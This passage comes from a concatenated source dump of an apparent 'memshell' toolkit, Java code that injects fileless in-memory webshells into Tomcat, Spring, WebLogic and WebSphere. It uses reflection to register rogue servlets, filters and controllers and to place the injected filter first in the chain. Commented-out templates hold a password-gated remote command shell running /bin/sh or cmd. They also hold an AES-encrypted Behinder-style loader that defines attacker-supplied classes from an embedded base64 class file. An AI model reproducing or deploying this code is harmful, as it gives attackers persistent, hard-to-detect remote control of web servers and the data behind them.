Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor"); 29 | field.setAccessible(true); 30 | Object obj = field.get(mbeanServer); 31 | 32 | field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository"); 33 | field.setAccessible(true); 34 | Repository repository = (Repository) field.get(obj); 35 | 36 | Set objectSet = repository.query(new ObjectName("Catalina:host=localhost,name=NonLoginAuthenticator,type=Valve,*"), null); 37 | for(NamedObject namedObject : objectSet){ 38 | try{ 39 | DynamicMBean dynamicMBean = namedObject.getObject(); 40 | field = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource"); 41 | field.setAccessible(true); 42 | obj = field.get(dynamicMBean); 43 | 44 | field = Class.forName("org.apache.catalina.authenticator.AuthenticatorBase").getDeclaredField("context"); 45 | field.setAccessible(true); 46 | StandardContext standardContext = (StandardContext)field.get(obj); 47 | 48 | if(standardContext.findChild(servrletName) == null){ 49 | System.out.println("[+] Add Dynamic Servlet"); 50 | 51 | Wrapper wrapper = standardContext.createWrapper(); 52 | wrapper.setName(servrletName); 53 | standardContext.addChild(wrapper); 54 | 55 | Class clazz = Util.getDynamicServletTemplateClass(); 56 | wrapper.setServletClass(clazz.getName()); 57 | wrapper.setServlet((Servlet) clazz.newInstance()); 58 | ServletRegistration.Dynamic registration = new ApplicationServletRegistration(wrapper, standardContext); 59 | registration.addMapping(urlPattern); 60 | } 61 | }catch(Exception e){ 62 | //pass 63 | } 64 | } 65 | }catch(Exception e){ 66 | e.printStackTrace(); 67 | } 68 | } 69 | } -------------------------------------------------------------------------------- /src/main/java/com/memshell/spring/ControllerBased.java: -------------------------------------------------------------------------------- 1 | package com.memshell.spring; 2 | 3 | import com.memshell.generic.Util; 4 | import org.springframework.stereotype.Controller; 5 | import org.springframework.web.bind.annotation.RequestMapping; 6 | import org.springframework.web.context.ContextLoader; 7 | import org.springframework.web.context.request.RequestContextHolder; 8 | import org.springframework.web.context.support.XmlWebApplicationContext; 9 | import java.lang.reflect.Method; 10 | import java.util.Set; 11 | 12 | @Controller 13 | public class ControllerBased{ 14 | 15 | @RequestMapping("/hello") 16 | public String say() { 17 | System.out.println("[+] Hello, Spring"); 18 | 19 | Class clazz = Util.getDynamicControllerTemplateClass(); 20 | 21 | XmlWebApplicationContext context = null; 22 | try{ 23 | context = (XmlWebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); 24 | }catch(Exception e){ 25 | context = (XmlWebApplicationContext)ContextLoader.getCurrentWebApplicationContext(); 26 | } 27 | 28 | try{ 29 | // 1. 在当前上下文环境中注册一个名为 dynamicController 的 Webshell controller 实例 bean 30 | context.getBeanFactory().registerSingleton("dynamicController", clazz.newInstance()); 31 | }catch(Exception e){ 32 | System.out.println(e); 33 | //continue 34 | } 35 | 36 | 37 | try{ 38 | Object requestMappingHandlerMapping = context.getBean(Class.forName("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping")); 39 | // 防止重复添加,重复添加会导致不可用 40 | Object obj = requestMappingHandlerMapping.getClass().getMethod("getHandlerMethods").invoke(requestMappingHandlerMapping); 41 | Method method = obj.getClass().getMethod("keySet"); 42 | method.setAccessible(true); 43 | Set mappingInfos = (Set)method.invoke(obj); 44 | for(Object requestMappingInfo : mappingInfos){ 45 | if(requestMappingInfo.toString().contains("/poc2020")){ 46 | return "failed"; 47 | } 48 | } 49 | method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("detectHandlerMethods", Object.class); 50 | method.setAccessible(true); 51 | method.invoke(requestMappingHandlerMapping, "dynamicController"); 52 | return "success"; 53 | }catch(Exception e){ 54 | System.out.println(e); 55 | //continue; 56 | } 57 | 58 | try{ 59 | // 2. 从当前上下文环境中获得 DefaultAnnotationHandlerMapping 的实例 bean 60 | Object dh = context.getBean(Class.forName("org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping")); 61 | // 3. 反射获得 registerHandler Method 62 | Method method = Class.forName("org.springframework.web.servlet.handler.AbstractUrlHandlerMapping").getDeclaredMethod("registerHandler", String.class, Object.class); 63 | method.setAccessible(true); 64 | // 4. 将 dynamicController 和 URL 注册到 handlerMap 中 65 | method.invoke(dh, "/poc2020", "dynamicController"); 66 | return "success"; 67 | }catch(Exception e){ 68 | System.out.println(e); 69 | //continue 70 | } 71 | 72 | return "failed"; 73 | } 74 | } -------------------------------------------------------------------------------- /src/main/java/com/memshell/weblogic/FilterBasedBasic.java: -------------------------------------------------------------------------------- 1 | package com.memshell.weblogic; 2 | 3 | import com.memshell.generic.Util; 4 | import weblogic.servlet.internal.FilterManager; 5 | import weblogic.servlet.internal.WebAppServletContext; 6 | import weblogic.servlet.utils.ServletMapping; 7 | import weblogic.utils.collections.MatchMap; 8 | import javax.servlet.http.HttpServlet; 9 | import javax.servlet.http.HttpServletRequest; 10 | import javax.servlet.http.HttpServletResponse; 11 | import java.lang.reflect.Field; 12 | import java.lang.reflect.Method; 13 | import java.util.ArrayList; 14 | import java.util.Map; 15 | 16 | public class FilterBasedBasic extends HttpServlet { 17 | @Override 18 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) { 19 | 20 | //为了兼容低版本的 weblgoic,所以有些逻辑(如排序)没法利用现成的 api,因为老版本不持 21 | try { 22 | String filterName = "dynamicFilter1"; 23 | String urlPattern = "/aaa"; 24 | 25 | Field contextField = req.getClass().getDeclaredField("context"); 26 | contextField.setAccessible(true); 27 | WebAppServletContext servletContext = (WebAppServletContext) contextField.get(req); 28 | FilterManager filterManager = servletContext.getFilterManager(); 29 | 30 | // 判断一下,防止多次加载, 默认只加载一次,不需要重复加载 31 | if (!filterManager.isFilterRegistered(filterName)) { 32 | System.out.println("[+] Add Dynamic Filter"); 33 | 34 | Class clazz = Util.getDynamicFilterTemplateClass(); 35 | 36 | //将 Filter 注册进 FilterManager 37 | //参数: String filterName, String filterClassName, String[] urlPatterns, String[] servletNames, Map initParams, String[] dispatchers 38 | Method registerFilterMethod = filterManager.getClass().getDeclaredMethod("registerFilter", String.class, String.class, String[].class, String[].class, Map.class, String[].class); 39 | registerFilterMethod.setAccessible(true); 40 | registerFilterMethod.invoke(filterManager, filterName, "com.memshell.generic.DynamicFilterTemplate", new String[]{urlPattern}, null, null, null); 41 | 42 | 43 | //将我们添加的 Filter 移动到 FilterChian 的第一位 44 | Field filterPatternListField = filterManager.getClass().getDeclaredField("filterPatternList"); 45 | filterPatternListField.setAccessible(true); 46 | ArrayList filterPatternList = (ArrayList)filterPatternListField.get(filterManager); 47 | 48 | 49 | //不能用 filterName 来判断,因为在 11g 中此值为空,在 12g 中正常 50 | for(int i = 0; i < filterPatternList.size(); i++){ 51 | Object filterPattern = filterPatternList.get(i); 52 | Field f = filterPattern.getClass().getDeclaredField("map"); 53 | f.setAccessible(true); 54 | ServletMapping mapping = (ServletMapping) f.get(filterPattern); 55 | 56 | f = mapping.getClass().getSuperclass().getDeclaredField("matchMap"); 57 | f.setAccessible(true); 58 | MatchMap matchMap = (MatchMap)f.get(mapping); 59 | 60 | Object result = matchMap.match(urlPattern); 61 | if(result != null && result.toString().contains(urlPattern)){ 62 | Object temp = filterPattern; 63 | filterPatternList.set(i, filterPatternList.get(0)); 64 | filterPatternList.set(0, temp); 65 | break; 66 | } 67 | } 68 | } 69 | } catch (Exception e) { 70 | e.printStackTrace(); 71 | } 72 | } 73 | } -------------------------------------------------------------------------------- /src/main/java/com/memshell/websphere/FilterBasedBasic.java: -------------------------------------------------------------------------------- 1 | package com.memshell.websphere; 2 | 3 | import com.memshell.generic.FilterTemplate; 4 | import javax.servlet.*; 5 | import javax.servlet.http.HttpServlet; 6 | import javax.servlet.http.HttpServletRequest; 7 | import javax.servlet.http.HttpServletResponse; 8 | import java.lang.reflect.Field; 9 | import java.lang.reflect.Method; 10 | import java.util.EnumSet; 11 | import java.util.List; 12 | 13 | public class FilterBasedBasic extends HttpServlet { 14 | @Override 15 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) { 16 | 17 | try{ 18 | String filterName = "myFilter1"; 19 | String urlPattern = "/aaa"; 20 | 21 | ServletContext servletContext = req.getServletContext(); 22 | 23 | Field field = servletContext.getClass().getDeclaredField("context"); 24 | field.setAccessible(true); 25 | Object context = field.get(servletContext); 26 | 27 | field = context.getClass().getSuperclass().getDeclaredField("config"); 28 | field.setAccessible(true); 29 | Object webAppConfiguration = field.get(context); 30 | 31 | Method method = null; 32 | Method[] methods = webAppConfiguration.getClass().getMethods(); 33 | for(int i = 0; i < methods.length; i++){ 34 | if(methods[i].getName().equals("getFilterMappings")){ 35 | method = methods[i]; 36 | break; 37 | } 38 | } 39 | List filerMappings = (List) method.invoke(webAppConfiguration, new Object[0]); 40 | 41 | boolean flag = false; 42 | for(int i = 0; i < filerMappings.size(); i++){ 43 | Object filterConfig = filerMappings.get(i).getClass().getMethod("getFilterConfig", new Class[0]).invoke(filerMappings.get(i), new Object[0]); 44 | String name = (String) filterConfig.getClass().getMethod("getFilterName", new Class[0]).invoke(filterConfig, new Object[0]); 45 | if(name.equals(filterName)){ 46 | flag = true; 47 | break; 48 | } 49 | } 50 | 51 | //如果已存在同名的 Filter,就不在添加,防止重复添加 52 | if(!flag){ 53 | System.out.println("[+] Add Dynamic Filter"); 54 | 55 | Filter filter = new FilterTemplate(); 56 | 57 | Object filterConfig = context.getClass().getMethod("createFilterConfig", new Class[]{String.class}).invoke(context, new Object[]{filterName}); 58 | filterConfig.getClass().getMethod("setFilter", new Class[]{Filter.class}).invoke(filterConfig, new Object[]{filter}); 59 | 60 | method = null; 61 | methods = webAppConfiguration.getClass().getMethods(); 62 | for(int i = 0; i < methods.length; i++){ 63 | if(methods[i].getName().equals("addFilterInfo")){ 64 | method = methods[i]; 65 | break; 66 | } 67 | } 68 | method.invoke(webAppConfiguration, new Object[]{filterConfig}); 69 | 70 | field = filterConfig.getClass().getSuperclass().getDeclaredField("context"); 71 | field.setAccessible(true); 72 | Object original = field.get(filterConfig); 73 | 74 | //设置为null,从而 addMappingForUrlPatterns 流程中不会抛出异常 75 | field.set(filterConfig, null); 76 | 77 | method = filterConfig.getClass().getDeclaredMethod("addMappingForUrlPatterns", new Class[]{EnumSet.class, boolean.class, String[].class}); 78 | method.invoke(filterConfig, new Object[]{EnumSet.of(DispatcherType.REQUEST), true, new String[]{urlPattern}}); 79 | 80 | //addMappingForUrlPatterns 流程走完,再将其设置为原来的值 81 | field.set(filterConfig, original); 82 | 83 | method = null; 84 | methods = webAppConfiguration.getClass().getMethods(); 85 | for(int i = 0; i < methods.length; i++){ 86 | if(methods[i].getName().equals("getUriFilterMappings")){ 87 | method = methods[i]; 88 | break; 89 | } 90 | } 91 | 92 | //这里的目的是为了将我们添加的动态 Filter 放到第一位 93 | List uriFilterMappingInfos = (List)method.invoke(webAppConfiguration, new Object[0]); 94 | uriFilterMappingInfos.add(0, filerMappings.get(filerMappings.size() - 1)); 95 | } 96 | }catch(Exception e){ 97 | e.printStackTrace(); 98 | } 99 | } 100 | } -------------------------------------------------------------------------------- /src/main/java/com/memshell/generic/DynamicControllerTemplate.java: -------------------------------------------------------------------------------- 1 | //package com.memshell.generic; 2 | // 3 | //import org.springframework.stereotype.Controller; 4 | //import org.springframework.web.bind.annotation.RequestMapping; 5 | //import sun.misc.BASE64Decoder; 6 | //import javax.crypto.Cipher; 7 | //import javax.crypto.spec.SecretKeySpec; 8 | //import javax.servlet.ServletRequest; 9 | //import javax.servlet.ServletResponse; 10 | //import javax.servlet.http.HttpServletRequest; 11 | //import javax.servlet.http.HttpServletResponse; 12 | //import java.io.File; 13 | //import java.io.IOException; 14 | //import java.lang.reflect.InvocationTargetException; 15 | //import java.lang.reflect.Method; 16 | //import java.util.Scanner; 17 | // 18 | //@Controller 19 | //public class DynamicControllerTemplate { 20 | // private Class myClassLoaderClazz; 21 | // 22 | // public DynamicControllerTemplate(){ 23 | // initialize(); 24 | // } 25 | // 26 | // @RequestMapping(value = "/poc2020") 27 | // public void login(HttpServletRequest request, HttpServletResponse response) throws IOException { 28 | // System.out.println("[+] Dynamic Controller says hello"); 29 | // 30 | // if(request.getParameter("type") != null && request.getParameter("type").equals("basic")){ 31 | // //basic cmd shell 32 | // String cmd = request.getParameter(Config.getPassword()); 33 | // if(cmd != null && !cmd.isEmpty()){ 34 | // String[] cmds = null; 35 | // if(File.separator.equals("/")){ 36 | // cmds = new String[]{"/bin/sh", "-c", cmd}; 37 | // }else{ 38 | // cmds = new String[]{"cmd", "/C", cmd}; 39 | // } 40 | // String result = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next(); 41 | // response.getWriter().println(result); 42 | // } 43 | // }else if(request.getHeader(Config.getHeader()) != null){ 44 | // //behind3 shell 45 | // try{ 46 | // if (request.getMethod().equals("POST")){ 47 | // String k = Config.getBehinderShellPwdPwd(); 48 | // request.getSession().setAttribute("u",k); 49 | // Cipher cipher = Cipher.getInstance("AES"); 50 | // cipher.init(2, new SecretKeySpec((request.getSession().getAttribute("u") + "").getBytes(), "AES")); 51 | // byte[] evilClassBytes = cipher.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine())); 52 | // Class evilClass = (Class) myClassLoaderClazz.getDeclaredMethod("defineClass", byte[].class, ClassLoader.class).invoke(null, evilClassBytes, Thread.currentThread().getContextClassLoader()); 53 | // Object evilObject = evilClass.newInstance(); 54 | // Method targetMethod = evilClass.getDeclaredMethod("equals", new Class[]{ServletRequest.class, ServletResponse.class}); 55 | // targetMethod.invoke(evilObject, new Object[]{request, response}); 56 | // } 57 | // }catch(Exception e){ 58 | // e.printStackTrace(); 59 | // } 60 | // } 61 | // } 62 | // 63 | // private void initialize(){ 64 | // try{ 65 | // ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); 66 | // try{ 67 | // this.myClassLoaderClazz = classLoader.loadClass("com.memshell.generic.MyClassLoader"); 68 | // } catch (ClassNotFoundException e) { 69 | // Class clazz = classLoader.getClass(); 70 | // Method method = null; 71 | // while(method == null && clazz != Object.class){ 72 | // try{ 73 | // method = clazz.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); 74 | // }catch(NoSuchMethodException ex){ 75 | // clazz = clazz.getSuperclass(); 76 | // } 77 | // } 78 | // 79 | // String code = "yv66vgAAADIAGwoABQAWBwAXCgACABYKAAIAGAcAGQEABjxpbml0PgEAGihMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACRMY29tL21lbXNoZWxsL2dlbmVyaWMvTXlDbGFzc0xvYWRlcjsBAAFjAQAXTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBAAtkZWZpbmVDbGFzcwEALChbQkxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7KUxqYXZhL2xhbmcvQ2xhc3M7AQAFYnl0ZXMBAAJbQgEAC2NsYXNzTG9hZGVyAQAKU291cmNlRmlsZQEAEk15Q2xhc3NMb2FkZXIuamF2YQwABgAHAQAiY29tL21lbXNoZWxsL2dlbmVyaWMvTXlDbGFzc0xvYWRlcgwADwAaAQAVamF2YS9sYW5nL0NsYXNzTG9hZGVyAQAXKFtCSUkpTGphdmEvbGFuZy9DbGFzczsAIQACAAUAAAAAAAIAAAAGAAcAAQAIAAAAOgACAAIAAAAGKiu3AAGxAAAAAgAJAAAABgABAAAABAAKAAAAFgACAAAABgALAAwAAAAAAAYADQAOAAEACQAPABAAAQAIAAAARAAEAAIAAAAQuwACWSu3AAMqAyq+tgAEsAAAAAIACQAAAAYAAQAAAAgACgAAABYAAgAAABAAEQASAAAAAAAQABMADgABAAEAFAAAAAIAFQ=="; 80 | // byte[] bytes = new BASE64Decoder().decodeBuffer(code); 81 | // method.setAccessible(true); 82 | // this.myClassLoaderClazz = (Class) method.invoke(classLoader, bytes, 0, bytes.length); 83 | // } 84 | // } catch (IllegalAccessException e) { 85 | // e.printStackTrace(); 86 | // } catch (IOException e) { 87 | // e.printStackTrace(); 88 | // } catch (InvocationTargetException e) { 89 | // e.printStackTrace(); 90 | // } 91 | // } 92 | //} 93 | -------------------------------------------------------------------------------- /src/main/java/com/memshell/generic/DynamicServletTemplate.java: -------------------------------------------------------------------------------- 1 | //package com.memshell.generic; 2 | // 3 | //import sun.misc.BASE64Decoder; 4 | //import javax.crypto.Cipher; 5 | //import javax.crypto.spec.SecretKeySpec; 6 | //import javax.servlet.ServletRequest; 7 | //import javax.servlet.ServletResponse; 8 | //import javax.servlet.http.HttpServlet; 9 | //import javax.servlet.http.HttpServletRequest; 10 | //import javax.servlet.http.HttpServletResponse; 11 | //import java.io.File; 12 | //import java.io.IOException; 13 | //import java.lang.reflect.InvocationTargetException; 14 | //import java.lang.reflect.Method; 15 | //import java.util.Scanner; 16 | // 17 | //public class DynamicServletTemplate extends HttpServlet { 18 | // 19 | // private Class myClassLoaderClazz; 20 | // 21 | // public DynamicServletTemplate(){ 22 | // super(); 23 | // initialize(); 24 | // } 25 | // 26 | // @Override 27 | // protected void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException { 28 | // System.out.println("[+] Dynamic Servlet says hello"); 29 | // 30 | // if(request.getParameter("type") != null && request.getParameter("type").equals("basic")){ 31 | // //basic cmd shell 32 | // String cmd = request.getParameter(Config.getPassword()); 33 | // if(cmd != null && !cmd.isEmpty()){ 34 | // String[] cmds = null; 35 | // if(File.separator.equals("/")){ 36 | // cmds = new String[]{"/bin/sh", "-c", cmd}; 37 | // }else{ 38 | // cmds = new String[]{"cmd", "/C", cmd}; 39 | // } 40 | // String result = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next(); 41 | // response.getWriter().println(result); 42 | // } 43 | // }else if(request.getHeader(Config.getHeader()) != null){ 44 | // //behind3 shell 45 | // try{ 46 | // if (request.getMethod().equals("POST")){ 47 | // String k = Config.getBehinderShellPwdPwd(); 48 | // request.getSession().setAttribute("u",k); 49 | // Cipher cipher = Cipher.getInstance("AES"); 50 | // cipher.init(2, new SecretKeySpec((request.getSession().getAttribute("u") + "").getBytes(), "AES")); 51 | // byte[] evilClassBytes = cipher.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine())); 52 | // Class evilClass = (Class) myClassLoaderClazz.getDeclaredMethod("defineClass", byte[].class, ClassLoader.class).invoke(null, evilClassBytes, Thread.currentThread().getContextClassLoader()); 53 | // Object evilObject = evilClass.newInstance(); 54 | // Method targetMethod = evilClass.getDeclaredMethod("equals", new Class[]{ServletRequest.class, ServletResponse.class}); 55 | // targetMethod.invoke(evilObject, new Object[]{request, response}); 56 | // } 57 | // }catch(Exception e){ 58 | // e.printStackTrace(); 59 | // } 60 | // } 61 | // } 62 | // 63 | // @Override 64 | // protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException { 65 | // doPost(request, response); 66 | // } 67 | // 68 | // private void initialize(){ 69 | // try{ 70 | // ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); 71 | // try{ 72 | // this.myClassLoaderClazz = classLoader.loadClass("com.memshell.generic.MyClassLoader"); 73 | // } catch (ClassNotFoundException e) { 74 | // Class clazz = classLoader.getClass(); 75 | // Method method = null; 76 | // while(method == null && clazz != Object.class){ 77 | // try{ 78 | // method = clazz.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); 79 | // }catch(NoSuchMethodException ex){ 80 | // clazz = clazz.getSuperclass(); 81 | // } 82 | // } 83 | // 84 | // String code = "yv66vgAAADIAGwoABQAWBwAXCgACABYKAAIAGAcAGQEABjxpbml0PgEAGihMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACRMY29tL21lbXNoZWxsL2dlbmVyaWMvTXlDbGFzc0xvYWRlcjsBAAFjAQAXTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBAAtkZWZpbmVDbGFzcwEALChbQkxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7KUxqYXZhL2xhbmcvQ2xhc3M7AQAFYnl0ZXMBAAJbQgEAC2NsYXNzTG9hZGVyAQAKU291cmNlRmlsZQEAEk15Q2xhc3NMb2FkZXIuamF2YQwABgAHAQAiY29tL21lbXNoZWxsL2dlbmVyaWMvTXlDbGFzc0xvYWRlcgwADwAaAQAVamF2YS9sYW5nL0NsYXNzTG9hZGVyAQAXKFtCSUkpTGphdmEvbGFuZy9DbGFzczsAIQACAAUAAAAAAAIAAAAGAAcAAQAIAAAAOgACAAIAAAAGKiu3AAGxAAAAAgAJAAAABgABAAAABAAKAAAAFgACAAAABgALAAwAAAAAAAYADQAOAAEACQAPABAAAQAIAAAARAAEAAIAAAAQuwACWSu3AAMqAyq+tgAEsAAAAAIACQAAAAYAAQAAAAgACgAAABYAAgAAABAAEQASAAAAAAAQABMADgABAAEAFAAAAAIAFQ=="; 85 | // byte[] bytes = new BASE64Decoder().decodeBuffer(code); 86 | // method.setAccessible(true); 87 | // this.myClassLoaderClazz = (Class) method.invoke(classLoader, bytes, 0, bytes.length); 88 | // } 89 | // } catch (IllegalAccessException e) { 90 | // e.printStackTrace(); 91 | // } catch (IOException e) { 92 | // e.printStackTrace(); 93 | // } catch (InvocationTargetException e) { 94 | // e.printStackTrace(); 95 | // } 96 | // } 97 | //} 98 | -------------------------------------------------------------------------------- /src/main/java/com/memshell/tomcat/FilterBasedBasic.java: -------------------------------------------------------------------------------- 1 | package com.memshell.tomcat; 2 | 3 | import com.memshell.generic.FilterTemplate; 4 | import org.apache.catalina.Context; 5 | import org.apache.catalina.core.ApplicationContext; 6 | import org.apache.catalina.core.ApplicationFilterConfig; 7 | import org.apache.catalina.core.StandardContext; 8 | import javax.servlet.*; 9 | import javax.servlet.http.HttpServlet; 10 | import javax.servlet.http.HttpServletRequest; 11 | import javax.servlet.http.HttpServletResponse; 12 | import java.lang.reflect.Constructor; 13 | import java.lang.reflect.Field; 14 | import java.lang.reflect.Modifier; 15 | import java.util.HashMap; 16 | 17 | public class FilterBasedBasic extends HttpServlet { 18 | @Override 19 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) { 20 | // 参考: 21 | // 《Tomcat源代码调试:看不见的Shell第一式》 https://www.freebuf.com/articles/web/151431.html 22 | // 《基于tomcat的内存 Webshell 无文件攻击技术》 https://xz.aliyun.com/t/7388 23 | // 《动态注册之Servlet+Filter+Listener》 https://www.jianshu.com/p/cbe1c3174d41 24 | // 《基于Tomcat无文件Webshell研究》 https://mp.weixin.qq.com/s/whOYVsI-AkvUJTeeDWL5dA 25 | // 《tomcat不出网回显连续剧第六集》 https://xz.aliyun.com/t/7535 26 | // 《tomcat结合shiro无文件webshell的技术研究以及检测方法》 https://mp.weixin.qq.com/s/fFYTRrSMjHnPBPIaVn9qMg 27 | // 28 | // 适用范围: Tomcat 7 ~ 9 29 | 30 | try{ 31 | String filterName = "dynamic1"; 32 | String urlPattern = "/aaa"; 33 | 34 | // 获取 standardContext 35 | final ServletContext servletContext = req.getSession().getServletContext(); 36 | 37 | Field field = servletContext.getClass().getDeclaredField("context"); 38 | field.setAccessible(true); 39 | ApplicationContext applicationContext = (ApplicationContext) field.get(servletContext); 40 | 41 | field = applicationContext.getClass().getDeclaredField("context"); 42 | field.setAccessible(true); 43 | Field modifiersField = Field.class.getDeclaredField("modifiers"); 44 | modifiersField.setAccessible(true); 45 | modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL); 46 | StandardContext standardContext = (StandardContext) field.get(applicationContext); 47 | 48 | field = standardContext.getClass().getDeclaredField("filterConfigs"); 49 | field.setAccessible(true); 50 | HashMap map = (HashMap) field.get(standardContext); 51 | 52 | if(map.get(filterName) == null){ 53 | System.out.println("[+] Add Dynamic Filter"); 54 | 55 | //生成 FilterDef 56 | //由于 Tomcat7 和 Tomcat8 中 FilterDef 的包名不同,为了通用性,这里用反射来写 57 | Class filterDefClass = null; 58 | try{ 59 | filterDefClass = Class.forName("org.apache.catalina.deploy.FilterDef"); 60 | }catch(ClassNotFoundException e){ 61 | filterDefClass = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef"); 62 | } 63 | 64 | Object filterDef = filterDefClass.newInstance(); 65 | filterDef.getClass().getDeclaredMethod("setFilterName", new Class[]{String.class}).invoke(filterDef, new Object[]{filterName}); 66 | Filter filter = new FilterTemplate(); 67 | 68 | filterDef.getClass().getDeclaredMethod("setFilterClass", new Class[]{String.class}).invoke(filterDef, new Object[]{filter.getClass().getName()}); 69 | filterDef.getClass().getDeclaredMethod("setFilter", new Class[]{Filter.class}).invoke(filterDef, new Object[]{filter}); 70 | standardContext.getClass().getDeclaredMethod("addFilterDef", new Class[]{filterDefClass}).invoke(standardContext, new Object[]{filterDef}); 71 | 72 | //设置 FilterMap 73 | //由于 Tomcat7 和 Tomcat8 中 FilterDef 的包名不同,为了通用性,这里用反射来写 74 | Class filterMapClass = null; 75 | try{ 76 | filterMapClass = Class.forName("org.apache.catalina.deploy.FilterMap"); 77 | }catch (ClassNotFoundException e){ 78 | filterMapClass = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap"); 79 | } 80 | 81 | Object filterMap = filterMapClass.newInstance(); 82 | filterMap.getClass().getDeclaredMethod("setFilterName", new Class[]{String.class}).invoke(filterMap, new Object[]{filterName}); 83 | filterMap.getClass().getDeclaredMethod("setDispatcher", new Class[]{String.class}).invoke(filterMap, new Object[]{DispatcherType.REQUEST.name()}); 84 | filterMap.getClass().getDeclaredMethod("addURLPattern", new Class[]{String.class}).invoke(filterMap, new Object[]{urlPattern}); 85 | //调用 addFilterMapBefore 会自动加到队列的最前面,不需要原来的手工去调整顺序了 86 | standardContext.getClass().getDeclaredMethod("addFilterMapBefore", new Class[]{filterMapClass}).invoke(standardContext, new Object[]{filterMap}); 87 | 88 | //设置 FilterConfig 89 | Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(new Class[]{Context.class, filterDefClass}); 90 | constructor.setAccessible(true); 91 | ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(new Object[]{standardContext, filterDef}); 92 | map.put(filterName, filterConfig); 93 | } 94 | }catch(Exception e){ 95 | e.printStackTrace(); 96 | } 97 | } 98 | } -------------------------------------------------------------------------------- /src/main/java/com/memshell/generic/DynamicFilterTemplate.java: -------------------------------------------------------------------------------- 1 | //package com.memshell.generic; 2 | // 3 | //import sun.misc.BASE64Decoder; 4 | //import javax.crypto.Cipher; 5 | //import javax.crypto.spec.SecretKeySpec; 6 | //import javax.servlet.*; 7 | //import javax.servlet.http.HttpServletRequest; 8 | //import java.io.File; 9 | //import java.io.IOException; 10 | //import java.lang.reflect.InvocationTargetException; 11 | //import java.lang.reflect.Method; 12 | //import java.util.Scanner; 13 | // 14 | //public class DynamicFilterTemplate implements Filter { 15 | // 16 | // private Class myClassLoaderClazz; 17 | // 18 | // public DynamicFilterTemplate(){ 19 | // super(); 20 | // initialize(); 21 | // } 22 | // 23 | // @Override 24 | // public void init(FilterConfig filterConfig) throws ServletException { 25 | // 26 | // } 27 | // 28 | // @Override 29 | // public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { 30 | // System.out.println("[+] Dynamic Filter says hello"); 31 | // 32 | // 33 | // if(servletRequest.getParameter("type") != null && servletRequest.getParameter("type").equals("basic")){ 34 | // //basic cmd shell 35 | // String cmd = servletRequest.getParameter(Config.getPassword()); 36 | // if(cmd != null && !cmd.isEmpty()){ 37 | // String[] cmds = null; 38 | // if(File.separator.equals("/")){ 39 | // cmds = new String[]{"/bin/sh", "-c", cmd}; 40 | // }else{ 41 | // cmds = new String[]{"cmd", "/C", cmd}; 42 | // } 43 | // String result = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next(); 44 | // servletResponse.getWriter().println(result); 45 | // } 46 | // }else if(((HttpServletRequest)servletRequest).getHeader(Config.getHeader()) != null){ 47 | // //behind3 shell 48 | // try{ 49 | // if (((HttpServletRequest)servletRequest).getMethod().equals("POST")){ 50 | // String k = Config.getBehinderShellPwdPwd(); 51 | // ((HttpServletRequest)servletRequest).getSession().setAttribute("u",k); 52 | // Cipher cipher = Cipher.getInstance("AES"); 53 | // cipher.init(2, new SecretKeySpec((((HttpServletRequest)servletRequest).getSession().getAttribute("u") + "").getBytes(), "AES")); 54 | // byte[] evilClassBytes = cipher.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(servletRequest.getReader().readLine())); 55 | // Class evilClass = (Class) myClassLoaderClazz.getDeclaredMethod("defineClass", byte[].class, ClassLoader.class).invoke(null, evilClassBytes, Thread.currentThread().getContextClassLoader()); 56 | // Object evilObject = evilClass.newInstance(); 57 | // Method targetMethod = evilClass.getDeclaredMethod("equals", new Class[]{ServletRequest.class, ServletResponse.class}); 58 | // targetMethod.invoke(evilObject, new Object[]{servletRequest, servletResponse}); 59 | // } 60 | // }catch(Exception e){ 61 | // e.printStackTrace(); 62 | // } 63 | // }else{ 64 | // filterChain.doFilter(servletRequest, servletResponse); 65 | // } 66 | // } 67 | // 68 | // @Override 69 | // public void destroy() { 70 | // 71 | // } 72 | // 73 | // private void initialize(){ 74 | // try{ 75 | // ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); 76 | // try{ 77 | // this.myClassLoaderClazz = classLoader.loadClass("com.memshell.generic.MyClassLoader"); 78 | // } catch (ClassNotFoundException e) { 79 | // Class clazz = 